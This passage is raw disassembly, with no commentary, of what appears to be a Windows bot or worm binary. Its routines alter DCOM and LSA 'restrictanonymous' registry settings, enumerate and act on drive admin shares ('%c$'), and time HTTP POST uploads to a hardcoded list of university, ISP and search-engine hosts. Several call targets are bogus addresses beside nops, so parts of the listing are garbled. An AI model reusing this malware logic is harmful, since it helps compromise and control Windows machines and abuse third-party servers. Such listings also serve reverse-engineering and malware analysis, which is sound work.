loc_419BF5: ; CODE XREF: sub_419B0F+45j push offset unk_439948 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push 1 nop call near ptr 26D0000h loc_419C19: ; CODE XREF: sub_419B0F+6Bj call sub_419A20 push offset unk_439920 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi call near ptr 26D0000h nop loc_419C41: ; CODE XREF: sub_419B0F+C3j push offset unk_4398F0 push ebx push dword_4DB238 call sub_419A88 push [ebp+arg_0] call sub_40B412 add esp, 10h push edi nop call near ptr 26D0000h sub_419B0F endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419C64 proc near ; CODE XREF: sub_401ACD+2507p var_378 = byte ptr -378h var_178 = byte ptr -178h var_74 = dword ptr -74h var_48 = dword ptr -48h var_44 = word ptr -44h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = byte ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 378h push ebx push esi push edi call sub_419A20 xor esi, esi lea eax, [ebp+var_178] push esi push eax push 104h push esi push offset dword_43350C push esi call dword_4CB030 test eax, eax jz loc_419D5E push 1 lea eax, [ebp+var_1C] pop ebx mov edi, dword_4270FC push esi push eax lea eax, [ebp+var_C] mov [ebp+var_1C], 0Ch push eax lea eax, [ebp+var_10] push eax mov [ebp+var_14], ebx mov [ebp+var_18], esi call edi test eax, eax jz loc_419D5E lea eax, [ebp+var_1C] push esi push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax call edi test eax, eax jz loc_419D5E mov edi, dword_4270F8 push 3 push esi push esi push offset dword_4DB1FC call edi push eax push [ebp+var_8] call edi push eax nop call near ptr 2700000h test eax, eax jz short loc_419D5E push 10h lea eax, [ebp+var_2C] push esi push eax call sub_41B590 push 44h lea eax, [ebp+var_74] pop edi push edi push esi push eax call sub_41B590 mov eax, [ebp+var_4] add esp, 18h mov [ebp+var_3C], eax mov eax, [ebp+var_C] mov [ebp+var_38], eax mov [ebp+var_34], eax lea eax, [ebp+var_2C] mov [ebp+var_74], edi push eax lea eax, [ebp+var_74] push eax push esi push esi push esi push ebx push esi mov ebx, offset dword_43D128 push esi lea eax, [ebp+var_178] push ebx push eax mov [ebp+var_48], 101h mov [ebp+var_44], si call near ptr 2651BF2h nop test eax, eax jnz short loc_419D66 loc_419D5E: ; CODE XREF: sub_419C64+2Fj ; sub_419C64+5Cj ... or eax, 0FFFFFFFFh jmp loc_419E14 ; --------------------------------------------------------------------------- loc_419D66: ; CODE XREF: sub_419C64+F8j push [ebp+var_4] mov edi, dword_427068 call edi mov eax, [ebp+var_10] push [ebp+var_28] mov dword_4DB1F8, eax mov eax, [ebp+var_8] mov dword_4DB200, eax mov eax, [ebp+var_2C] mov dword_4DB1F4, eax call edi mov eax, [ebp+arg_0] cmp [ebp+arg_4], esi mov dword_4DB238, eax jz short loc_419DA0 push [ebp+arg_4] jmp short loc_419DA1 ; --------------------------------------------------------------------------- loc_419DA0: ; CODE XREF: sub_419C64+135j push ebx loc_419DA1: ; CODE XREF: sub_419C64+13Aj push offset dword_4DB204 call sub_41B886 pop ecx pop ecx push esi push 0Ah push offset unk_4399AC call sub_40B0F6 mov edi, eax mov ecx, [ebp+var_24] imul edi, 234h add esp, 0Ch mov dword_43DEB8[edi], ecx lea ecx, [ebp+var_30] push ecx push esi push eax push offset sub_419B0F push esi push esi nop call near ptr 2670096h cmp eax, esi mov dword_43DEC4[edi], eax jnz short loc_419E12 nop call near ptr 26709C5h push eax lea eax, [ebp+var_378] push offset unk_439978 push eax call sub_41B886 lea eax, [ebp+var_378] push eax call sub_4151AC add esp, 10h loc_419E12: ; CODE XREF: sub_419C64+185j xor eax, eax loc_419E14: ; CODE XREF: sub_419C64+FDj pop edi pop esi pop ebx leave retn sub_419C64 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E19 proc near ; DATA XREF: sub_401ACD+2E0Bo var_98 = dword ptr -98h var_94 = byte ptr -94h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 98h mov eax, [ebp+arg_0] push esi push edi push 26h pop ecx mov esi, eax lea edi, [ebp+var_98] rep movsd pop edi pop esi push [ebp+var_8] cmp [ebp+var_10], 0 mov dword ptr [eax+94h], 1 lea eax, [ebp+var_94] push [ebp+var_C] push eax push [ebp+var_98] jz short loc_419E60 call sub_419E79 jmp short loc_419E65 ; --------------------------------------------------------------------------- loc_419E60: ; CODE XREF: sub_419E19+3Ej call sub_41A19D loc_419E65: ; CODE XREF: sub_419E19+45j add esp, 10h push [ebp+var_14] call sub_40B412 pop ecx push 0 nop call near ptr 26D0000h sub_419E19 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_419E79 proc near ; CODE XREF: sub_419E19+40p var_214 = byte ptr -214h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 214h push esi push edi xor edi, edi cmp dword_4CB044, edi jnz loc_419FAB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push edi push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_419F04 mov ax, word_438724 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push edi push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_419EE6 push offset dword_439C48 jmp short loc_419EEB ; --------------------------------------------------------------------------- loc_419EE6: ; CODE XREF: sub_419E79+64j push offset dword_439C28 loc_419EEB: ; CODE XREF: sub_419E79+6Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419F17 ; --------------------------------------------------------------------------- loc_419F04: ; CODE XREF: sub_419E79+36j lea eax, [ebp+var_214] push offset dword_439BF8 push eax call sub_41B886 pop ecx pop ecx loc_419F17: ; CODE XREF: sub_419E79+89j cmp [ebp+arg_C], edi jnz short loc_419F36 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419F36: ; CODE XREF: sub_419E79+A1j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push edi push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_419FA4 lea eax, [ebp+var_8] push 4 push eax push 4 push edi push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], 1 call dword_4CAF98 test eax, eax jz short loc_419F86 push offset dword_439BA8 jmp short loc_419F8B ; --------------------------------------------------------------------------- loc_419F86: ; CODE XREF: sub_419E79+104j push offset dword_439B74 loc_419F8B: ; CODE XREF: sub_419E79+10Bj lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_419FBE ; --------------------------------------------------------------------------- loc_419FA4: ; CODE XREF: sub_419E79+E2j push offset dword_439B38 jmp short loc_419FB0 ; --------------------------------------------------------------------------- loc_419FAB: ; CODE XREF: sub_419E79+13j push offset dword_439B08 loc_419FB0: ; CODE XREF: sub_419E79+130j lea eax, [ebp+var_214] push eax call sub_41B886 pop ecx pop ecx loc_419FBE: ; CODE XREF: sub_419E79+129j cmp [ebp+arg_C], edi jnz short loc_419FDD push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_419FDD: ; CODE XREF: sub_419E79+148j lea eax, [ebp+var_214] push eax call sub_4151AC cmp dword_4CB06C, edi pop ecx jnz loc_41A158 push ebx mov [ebp+var_4], edi mov [ebp+var_14], edi mov [ebp+var_C], edi loc_41A000: ; CODE XREF: sub_419E79+2C3j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_14] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_8] push 0FFFFFFFFh push eax push 1F6h push edi call dword_4CAEB8 cmp eax, edi mov [ebp+var_10], eax jz short loc_41A09D cmp eax, 0EAh jz short loc_41A09D mov esi, offset off_4399D0 loc_41A031: ; CODE XREF: sub_419E79+21Dj push dword ptr [esi] push edi call sub_418C6B pop ecx pop ecx push dword ptr [esi] test eax, eax jnz short loc_41A048 push offset dword_439AE4 jmp short loc_41A04D ; --------------------------------------------------------------------------- loc_41A048: ; CODE XREF: sub_419E79+1C6j push offset dword_439AB8 loc_41A04D: ; CODE XREF: sub_419E79+1CDj lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], edi jnz short loc_41A080 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A080: ; CODE XREF: sub_419E79+1EBj lea eax, [ebp+var_214] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset dword_4399F0 jb short loc_41A031 jmp loc_41A135 ; --------------------------------------------------------------------------- loc_41A09D: ; CODE XREF: sub_419E79+1AAj ; sub_419E79+1B1j mov esi, [ebp+var_8] push 1 pop ebx cmp [ebp+var_4], ebx jb loc_41A12C loc_41A0AC: ; CODE XREF: sub_419E79+2AFj mov edi, [esi] push edi call sub_41D817 cmp word ptr [edi+eax*2-2], 24h pop ecx jnz short loc_41A121 push edi call sub_418B58 push eax push 0 call sub_418C6B add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A0DB push offset dword_439A94 jmp short loc_41A0E0 ; --------------------------------------------------------------------------- loc_41A0DB: ; CODE XREF: sub_419E79+259j push offset dword_439A68 loc_41A0E0: ; CODE XREF: sub_419E79+260j lea eax, [ebp+var_214] push 200h push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A114 push 1 lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A114: ; CODE XREF: sub_419E79+27Fj lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx loc_41A121: ; CODE XREF: sub_419E79+242j add esi, 28h inc ebx cmp ebx, [ebp+var_4] jbe short loc_41A0AC xor edi, edi loc_41A12C: ; CODE XREF: sub_419E79+22Dj push [ebp+var_8] call dword_4CB004 loc_41A135: ; CODE XREF: sub_419E79+21Fj cmp [ebp+var_10], 0EAh jz loc_41A000 lea eax, [ebp+var_214] push offset dword_439A40 push eax call sub_41B886 pop ecx pop ecx pop ebx jmp short loc_41A16B ; --------------------------------------------------------------------------- loc_41A158: ; CODE XREF: sub_419E79+177j lea eax, [ebp+var_214] push offset dword_439A10 push eax call sub_41B886 pop ecx pop ecx loc_41A16B: ; CODE XREF: sub_419E79+2DDj cmp [ebp+arg_C], edi jnz short loc_41A189 push edi lea eax, [ebp+var_214] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A189: ; CODE XREF: sub_419E79+2F5j lea eax, [ebp+var_214] push eax call sub_4151AC pop ecx push 1 pop eax pop edi pop esi leave retn sub_419E79 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A19D proc near ; CODE XREF: sub_419E19:loc_419E60p var_220 = byte ptr -220h var_20 = byte ptr -20h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 220h push ebx xor ebx, ebx cmp dword_4CB044, ebx push esi jnz loc_41A2CB lea eax, [ebp+var_4] mov esi, 80000002h push eax push 2001Fh push ebx push offset aSoftwareMicros ; "Software\\Microsoft\\OLE" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A228 mov ax, word_438768 mov word ptr [ebp+var_8+2], ax lea eax, [ebp+var_8+2] push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_8+2] push eax push 1 push ebx push offset aEnabledcom ; "EnableDCOM" push [ebp+var_4] call dword_4CAF98 test eax, eax jz short loc_41A20A push offset dword_439DC0 jmp short loc_41A20F ; --------------------------------------------------------------------------- loc_41A20A: ; CODE XREF: sub_41A19D+64j push offset dword_439DA4 loc_41A20F: ; CODE XREF: sub_41A19D+6Bj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A23B ; --------------------------------------------------------------------------- loc_41A228: ; CODE XREF: sub_41A19D+36j lea eax, [ebp+var_220] push offset dword_439BF8 push eax call sub_41B886 pop ecx pop ecx loc_41A23B: ; CODE XREF: sub_41A19D+89j cmp [ebp+arg_C], ebx jnz short loc_41A25A push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A25A: ; CODE XREF: sub_41A19D+A1j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx lea eax, [ebp+var_4] push eax push 0F003Fh push ebx push offset aSystemCurrentc ; "SYSTEM\\CurrentControlSet\\Control\\Lsa" push esi call dword_4CAFE4 test eax, eax jnz short loc_41A2C4 lea eax, [ebp+var_8] push 4 push eax push 4 push ebx push offset aRestrictanonym ; "restrictanonymous" push [ebp+var_4] mov [ebp+var_8], ebx call dword_4CAF98 test eax, eax jz short loc_41A2A6 push offset dword_439D64 jmp short loc_41A2AB ; --------------------------------------------------------------------------- loc_41A2A6: ; CODE XREF: sub_41A19D+100j push offset dword_439D2C loc_41A2AB: ; CODE XREF: sub_41A19D+107j lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx push [ebp+var_4] call dword_4CAF50 jmp short loc_41A2DE ; --------------------------------------------------------------------------- loc_41A2C4: ; CODE XREF: sub_41A19D+E2j push offset dword_439CF0 jmp short loc_41A2D0 ; --------------------------------------------------------------------------- loc_41A2CB: ; CODE XREF: sub_41A19D+13j push offset dword_439B08 loc_41A2D0: ; CODE XREF: sub_41A19D+12Cj lea eax, [ebp+var_220] push eax call sub_41B886 pop ecx pop ecx loc_41A2DE: ; CODE XREF: sub_41A19D+125j cmp [ebp+arg_C], ebx jnz short loc_41A2FD push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A2FD: ; CODE XREF: sub_41A19D+144j lea eax, [ebp+var_220] push eax call sub_4151AC cmp dword_4CB06C, ebx pop ecx jnz loc_41A472 push edi mov esi, offset off_4399D0 mov edi, 200h loc_41A321: ; CODE XREF: sub_41A19D+1E9j push dword ptr [esi+4] push dword ptr [esi] push ebx call sub_418BBF add esp, 0Ch push dword ptr [esi] test eax, eax jnz short loc_41A33C push offset dword_439CD0 jmp short loc_41A341 ; --------------------------------------------------------------------------- loc_41A33C: ; CODE XREF: sub_41A19D+196j push offset dword_439CA8 loc_41A341: ; CODE XREF: sub_41A19D+19Dj lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], ebx jnz short loc_41A370 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A370: ; CODE XREF: sub_41A19D+1B7j lea eax, [ebp+var_220] push eax call sub_4151AC add esi, 8 pop ecx cmp esi, offset off_4399E0 jb short loc_41A321 nop call near ptr 2820C59h test eax, eax mov [ebp+var_4], eax mov bl, 41h jz loc_41A45A loc_41A39B: ; CODE XREF: sub_41A19D+2B7j mov eax, [ebp+var_4] and eax, 1 cmp al, 1 jnz loc_41A44F cmp bl, 41h jz loc_41A44F movsx esi, bl push esi push offset aC_1 ; "%c$" lea eax, [ebp+var_14] push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push esi push offset aC_0 ; "%c:\\" push 0Ah push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_20] push eax call dword_4CAFD4 cmp eax, 3 jnz short loc_41A44F lea eax, [ebp+var_20] push eax lea eax, [ebp+var_14] push eax push 0 call sub_418BBF add esp, 0Ch test eax, eax lea eax, [ebp+var_14] push eax jnz short loc_41A40D push offset dword_439CD0 jmp short loc_41A412 ; --------------------------------------------------------------------------- loc_41A40D: ; CODE XREF: sub_41A19D+267j push offset dword_439CA8 loc_41A412: ; CODE XREF: sub_41A19D+26Ej lea eax, [ebp+var_220] push edi push eax call sub_41B980 add esp, 10h cmp [ebp+arg_C], 0 jnz short loc_41A442 push 1 lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A442: ; CODE XREF: sub_41A19D+289j lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx loc_41A44F: ; CODE XREF: sub_41A19D+206j ; sub_41A19D+20Fj ... inc bl shr [ebp+var_4], 1 jnz loc_41A39B loc_41A45A: ; CODE XREF: sub_41A19D+1F8j lea eax, [ebp+var_220] push offset dword_439C78 push eax call sub_41B886 pop ecx xor ebx, ebx pop ecx pop edi jmp short loc_41A485 ; --------------------------------------------------------------------------- loc_41A472: ; CODE XREF: sub_41A19D+173j lea eax, [ebp+var_220] push offset dword_439A10 push eax call sub_41B886 pop ecx pop ecx loc_41A485: ; CODE XREF: sub_41A19D+2D3j cmp [ebp+arg_C], ebx jnz short loc_41A4A3 push ebx lea eax, [ebp+var_220] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_41A4A3: ; CODE XREF: sub_41A19D+2EBj lea eax, [ebp+var_220] push eax call sub_4151AC pop ecx push 1 pop eax pop esi pop ebx leave retn sub_41A19D endp ; =============== S U B R O U T I N E ======================================= sub_41A4B7 proc near ; CODE XREF: sub_41A6AE+CBp ; sub_41A6AE+DDp ... arg_0 = dword ptr 4 nop call near ptr 26808EFh push eax call sub_41B8D8 pop ecx call sub_41B8E2 cdq idiv [esp+arg_0] mov eax, edx retn sub_41A4B7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A4D1 proc near ; CODE XREF: sub_41A6AE+D4p ; sub_41A6AE+E6p ... var_38 = dword ptr -38h var_28 = word ptr -28h var_26 = word ptr -26h var_24 = dword ptr -24h var_18 = qword ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 28h push ebx push esi push edi push [ebp+arg_0] call sub_41AFE0 mov esi, 0FFh pop ecx cmp eax, esi ja loc_41A6AA push 10h lea eax, [ebp+var_28] push 0 push eax call sub_41B590 push [ebp+arg_0] mov [ebp+var_28], 2 call sub_40AAF9 add esp, 10h mov [ebp+var_24], eax test eax, eax jz loc_41A6AA push 50h call dword_4CAF74 push 6 push 1 push 2 mov [ebp+var_26], ax call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_41A6AA lea ecx, [ebp+var_28] push 10h push ecx push eax call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_41A6AA push 32003h call sub_41CFC5 mov edi, dword_4270A8 mov ebx, eax pop ecx mov [ebp+var_8], ebx call edi push eax call sub_41B8D8 call sub_41B8E2 cdq idiv esi mov [esp+38h+var_38], 32001h push 0 push ebx movsx esi, dl call sub_41B590 push 32000h push esi push ebx call sub_41B590 push ebx call sub_41AFE0 push 323EAh mov ebx, eax call sub_41CFC5 add esp, 20h mov esi, eax push ebx push [ebp+arg_0] push offset aPostHttp1_0Hos ; "POST / HTTP/1.0\r\nHost: %s\r\nContent-Leng"... push esi call sub_41B886 push [ebp+var_8] push esi call sub_41BEC0 push offset asc_43381C ; "\r\n" push esi call sub_41BEC0 push esi call sub_41AFE0 mov ebx, eax add esp, 24h mov [ebp+var_10], ebx call edi mov dword ptr [ebp+var_18+4], eax xor eax, eax test ebx, ebx mov [ebp+arg_0], eax jbe short loc_41A62A mov [ebp+var_C], ebx mov ebx, 400h jmp short loc_41A5FA ; --------------------------------------------------------------------------- loc_41A5F7: ; CODE XREF: sub_41A4D1+157j mov eax, [ebp+arg_0] loc_41A5FA: ; CODE XREF: sub_41A4D1+124j mov ecx, [ebp+var_10] push 0 sub ecx, eax cmp ecx, ebx jnb short loc_41A60A push [ebp+var_C] jmp short loc_41A60B ; --------------------------------------------------------------------------- loc_41A60A: ; CODE XREF: sub_41A4D1+132j push ebx loc_41A60B: ; CODE XREF: sub_41A4D1+137j add eax, esi push eax push [ebp+var_4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz short loc_41A691 add [ebp+arg_0], ebx sub [ebp+var_C], ebx mov eax, [ebp+arg_0] cmp eax, [ebp+var_10] jb short loc_41A5F7 loc_41A62A: ; CODE XREF: sub_41A4D1+11Aj call edi sub eax, dword ptr [ebp+var_18+4] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax fild [ebp+var_18] fmul flt_427714 fst [ebp+arg_0] fcomp flt_427710 fnstsw ax sahf jnz short loc_41A652 fld1 fstp [ebp+arg_0] loc_41A652: ; CODE XREF: sub_41A4D1+17Aj push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 mov eax, [ebp+var_10] and dword ptr [ebp+var_18+4], 0 mov dword ptr [ebp+var_18], eax pop ecx fild [ebp+var_18] pop ecx fdiv [ebp+arg_0] fmul flt_42770C fmul flt_427708 call sub_41C798 loc_41A68C: ; CODE XREF: sub_41A4D1+1DBj pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41A691: ; CODE XREF: sub_41A4D1+149j push [ebp+var_4] call dword_4CB00C push [ebp+var_8] call sub_41B0B1 push esi call sub_41B0B1 pop ecx pop ecx loc_41A6AA: ; CODE XREF: sub_41A4D1+19j ; sub_41A4D1+42j ... xor eax, eax jmp short loc_41A68C sub_41A4D1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A6AE proc near ; CODE XREF: sub_401ACD+2E61p var_26C = byte ptr -26Ch var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 26Ch push ebx push esi push edi push 8 mov [ebp+var_4], 3 mov [ebp+var_3C], offset aWww_schlund_ne ; "www.schlund.net" mov [ebp+var_38], offset aWww_utwente_nl ; "www.utwente.nl" mov [ebp+var_34], offset aVerio_fr ; "verio.fr" mov [ebp+var_30], offset aWww_1und1_de ; "www.1und1.de" mov [ebp+var_2C], offset aWww_switch_ch ; "www.switch.ch" mov [ebp+var_28], offset aWww_belwue_de ; "www.belwue.de" mov [ebp+var_24], offset aDe_yahoo_com ; "de.yahoo.com" mov [ebp+var_20], offset aWww_google_it ; "www.google.it" mov [ebp+var_6C], offset aWww_xo_net ; "www.xo.net" mov [ebp+var_68], offset aWww_stanford_e ; "www.stanford.edu" mov [ebp+var_64], offset aWww_verio_com ; "www.verio.com" mov [ebp+var_60], offset aWww_nocster_co ; "www.nocster.com" mov [ebp+var_5C], offset aWww_rit_edu ; "www.rit.edu" mov [ebp+var_58], offset aWww_cogentco_c ; "www.cogentco.com" mov [ebp+var_54], offset aWww_burst_net ; "www.burst.net" mov [ebp+var_50], offset aNitro_ucsc_edu ; "nitro.ucsc.edu" mov [ebp+var_4C], offset aWww_level3_com ; "www.level3.com" mov [ebp+var_48], offset aWww_above_net ; "www.above.net" mov [ebp+var_44], offset aWww_easynews_c ; "www.easynews.com" mov [ebp+var_40], offset aWww_google_com ; "www.google.com" mov [ebp+var_1C], offset aWww_lib_nthu_e ; "www.lib.nthu.edu.tw" mov [ebp+var_18], offset aWww_st_lib_kei ; "www.st.lib.keio.ac.jp" mov [ebp+var_14], offset aWww_d1asia_com ; "www.d1asia.com" mov [ebp+var_10], offset aWww_nifty_com ; "www.nifty.com" mov [ebp+var_C], offset aYahoo_co_jp ; "yahoo.co.jp" mov [ebp+var_8], offset aWww_google_co_ ; "www.google.co.jp" call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 push 8 mov esi, eax call sub_41A4B7 push [ebp+eax*4+var_3C] call sub_41A4D1 add esp, 10h test esi, esi jz short loc_41A7AF test eax, eax jz short loc_41A7AB lea ebx, [eax+esi] shr ebx, 1 jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AB: ; CODE XREF: sub_41A6AE+F4j mov ebx, esi jmp short loc_41A7B1 ; --------------------------------------------------------------------------- loc_41A7AF: ; CODE XREF: sub_41A6AE+F0j mov ebx, eax loc_41A7B1: ; CODE XREF: sub_41A6AE+FBj ; sub_41A6AE+FFj push 0Ch call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 push 0Ch mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_6C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A7E9 test eax, eax jz short loc_41A7E5 lea esi, [eax+edi] shr esi, 1 jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E5: ; CODE XREF: sub_41A6AE+12Ej mov esi, edi jmp short loc_41A7EB ; --------------------------------------------------------------------------- loc_41A7E9: ; CODE XREF: sub_41A6AE+12Aj mov esi, eax loc_41A7EB: ; CODE XREF: sub_41A6AE+135j ; sub_41A6AE+139j push 6 call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 push 6 mov edi, eax call sub_41A4B7 push [ebp+eax*4+var_1C] call sub_41A4D1 add esp, 10h test edi, edi jz short loc_41A823 test eax, eax jz short loc_41A81F lea ecx, [eax+edi] shr ecx, 1 jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A81F: ; CODE XREF: sub_41A6AE+168j mov ecx, edi jmp short loc_41A825 ; --------------------------------------------------------------------------- loc_41A823: ; CODE XREF: sub_41A6AE+164j mov ecx, eax loc_41A825: ; CODE XREF: sub_41A6AE+16Fj ; sub_41A6AE+173j xor eax, eax test ebx, ebx jz short loc_41A832 mov edi, [ebp+var_4] mov eax, ebx jmp short loc_41A835 ; --------------------------------------------------------------------------- loc_41A832: ; CODE XREF: sub_41A6AE+17Bj push 2 pop edi loc_41A835: ; CODE XREF: sub_41A6AE+182j test esi, esi jz short loc_41A83D add eax, esi jmp short loc_41A83E ; --------------------------------------------------------------------------- loc_41A83D: ; CODE XREF: sub_41A6AE+189j dec edi loc_41A83E: ; CODE XREF: sub_41A6AE+18Dj test ecx, ecx jz short loc_41A846 add eax, ecx jmp short loc_41A847 ; --------------------------------------------------------------------------- loc_41A846: ; CODE XREF: sub_41A6AE+192j dec edi loc_41A847: ; CODE XREF: sub_41A6AE+196j xor edx, edx div edi push eax push ecx push esi push ebx lea eax, [ebp+var_26C] push offset dword_439E18 push eax call sub_41B886 push 0 lea eax, [ebp+var_26C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 lea eax, [ebp+var_26C] push eax call sub_4151AC add esp, 30h pop edi pop esi pop ebx leave retn sub_41A6AE endp ; =============== S U B R O U T I N E ======================================= sub_41A88B proc near ; CODE XREF: sub_401ACD+25A0p ; sub_401ACD+2A10p ... arg_0 = dword ptr 4 push ebx push ebp push esi push edi nop call near ptr 26808EFh xor edx, edx mov ecx, 3E8h div ecx mov ebx, 15180h xor edx, edx mov esi, ebx mov edi, 0E10h mov ebp, edi push 3Ch mov ecx, eax sub ecx, [esp+14h+arg_0] mov eax, ecx div esi mov esi, edx xor edx, edx mov eax, esi div ebp pop ebp mov eax, edx xor edx, edx div ebp xor edx, edx push eax mov eax, esi div edi xor edx, edx mov esi, offset dword_4DB240 push eax mov eax, ecx div ebx push eax push offset aDdDhDm ; "%dd %dh %dm" push 32h push esi call sub_41B980 add esp, 18h mov eax, esi pop edi pop esi pop ebp pop ebx retn sub_41A88B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41A8F4 proc near ; CODE XREF: sub_416F1A+24p var_94 = dword ptr -94h var_90 = dword ptr -90h var_8C = dword ptr -8Ch var_84 = dword ptr -84h push ebp mov ebp, esp sub esp, 94h lea eax, [ebp+var_94] push esi push eax xor esi, esi mov [ebp+var_94], 94h nop 